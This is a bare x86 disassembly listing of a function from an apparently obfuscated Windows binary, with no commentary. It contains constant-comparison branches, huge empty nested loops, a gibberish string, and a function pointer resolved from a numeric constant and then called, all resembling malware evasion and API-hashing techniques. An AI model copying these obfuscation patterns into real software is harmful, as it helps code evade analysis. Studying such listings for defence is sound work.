mov byte [ebp - 0x6d], bl
mov byte [ebp - 0x6c], 0x33
mov word [ebp - 0x17e], cx
pop esi
mov dword [ebp - 0x28], esi
cmp esi, 9
jae 0x1002de69
movzx eax, al
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x1002de2f
mov dword [ebp - 0x2c], 0x1870
cmp dword [ebp - 0x2c], 0x1a78
jle 0x1002de01
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x470]
cdq
push edx
push eax
call fcn.10001aa4
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002ddd0
mov eax, dword [eax]
push eax
call fcn.10043cef
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x470]
call fcn.10003c79
inc esi
cmp esi, 0x6491
jl 0x1002ddb2
inc edi
cmp edi, 0x489a
jl 0x1002ddb0
cmp dword [ebp - 0x2c], 0x1672
movzx eax, byte [ebp + esi - 0x74]
mov dword [ebp - 0x34], eax
lea edi, [eax + 1]
jge 0x1002de23
push str.cdqmor_lnhg_mkjzg_vjndttsxn_btrpzynzr
call fcn.10043cef
mov eax, dword [ebp - 0x34]
pop ecx
dec esi
mov dword [ebp - 4], 0x1d
add esi, eax
jmp 0x1002de5e
movzx edx, byte [ebp + esi - 0x73]
mov eax, esi
sub eax, edi
mov edi, ebx
movzx eax, byte [ebp + eax - 0x76]
movzx ecx, word [ebp + eax*2 - 0x180]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x74]
add ecx, edx
mov word [ebp + eax*2 - 0x180], cx
mov al, byte [ebp - 0x74]
add esi, 2
jmp 0x1002dd80
xor eax, eax
mov dword [ebp - 0x1dc], 7
mov word [ebp - 0x17a], ax
lea ecx, [ebp - 0x1f0]
mov word [ebp - 0x1f0], ax
lea eax, [ebp - 0x180]
push eax
mov dword [ebp - 0x1e0], ebx
call fcn.10003d65
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x1f0]
cmp dword [ebp - 0x1dc], 8
mov eax, dword [ebp - 0x1e0]
cmovae ecx, dword [ebp - 0x1f0]
push dword [ebp + 0x10]
mov dword [ebp - 0x180], ebx
mov dword [ebp - 0x17c], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x22c], ebx
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x228], ebx
cmovae ecx, dword [ebp - 0x1f0]
push eax
push ecx
lea ecx, [ebp - 0x22c]
mov dword [ebp - 0x224], ebx
call fcn.1000b4bb
lea eax, [ebp - 0x248]
mov byte [ebp - 4], 0x21
push eax
lea ecx, [ebp - 0x22c]
mov dword [ebp - 0x248], ebx
call fcn.1000ace3
mov edx, dword [ebp - 0x60]
cmp dword [edx + 0x14], 8
jb 0x1002df20
mov ecx, dword [edx]
jmp 0x1002df22
mov ecx, edx
cmp dword [edx + 0x14], 8
mov eax, dword [edx + 0x10]
lea eax, [ecx + eax*2]
jb 0x1002df30
mov edx, dword [edx]
push dword [ebp + 0x10]
lea ecx, [ebp - 0x1fc]
mov dword [ebp - 0x1fc], ebx
push eax
push edx
mov dword [ebp - 0x1f8], ebx
mov dword [ebp - 0x1f4], ebx
call fcn.1000b4bb
lea eax, [ebp - 0x16c]
mov byte [ebp - 4], 0x22
push eax
lea ecx, [ebp - 0x1fc]
mov dword [ebp - 0x16c], ebx
call fcn.1000ace3
cmp dword [ebp - 0x1dc], 8
lea edx, [ebp - 0x1f0]
lea esi, [ebp - 0x344]
mov eax, dword [ebp - 0x40]
cmovae edx, dword [ebp - 0x1f0]
sub esp, 0x10
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x344]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x378]
push dword [ebp - 0x1fc]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x1002e166
mov esi, dword [ebp - 0x18c]
mov cl, 1
mov dword [ebp - 0x15c], ebx
cmp esi, dword [ebp - 0x188]
je 0x1002e027
add esi, 0x18
test cl, cl
je 0x1002e00f
mov eax, dword [ebp - 0x40]
lea esi, [ebp - 0x344]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x1002e166
mov dword [ebp - 0x28], 0x37d5
cmp dword [ebp - 0x28], 0x38cb
jle 0x1002e20c
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov edi, ebx
mov dword [ebp - 0x78], ebx
mov ecx, edi
mov dword [ebp - 0x50], esi
mov edi, esi
mov eax, ebx
sar edi, cl
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x16c], edi
mov esi, ebx
xor edi, eax
mov eax, edi
lea ecx, [ebp - 0x488]
or eax, esi
cdq
push edx
push eax
call fcn.10001aa4
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002e1bb
push 0x519a
push ebx
lea eax, [ebp - 0x40]
mov dl, 1
push 0x7d69
push eax
mov cl, dl
call fcn.1002b87a
add esp, 0x10
cmp dword [ebp - 0x28], 0x342a
jge 0x1002e23b
push esi
push 0x9011
call fcn.1002404b
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x20c]
lea eax, [ebp - 0x1a4]
push eax
call fcn.1002e418
push ebx
push 1
lea ecx, [ebp - 0x2ac]
call fcn.10004184
push ebx
push 1
lea ecx, [ebp - 0x2c4]
call fcn.10004184
lea ecx, [ebp - 0x18c]
call fcn.1000adea
lea ecx, [ebp - 0x1a4]
call fcn.1000b04b
lea ecx, [ebp + 8]
call fcn.1000adea
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret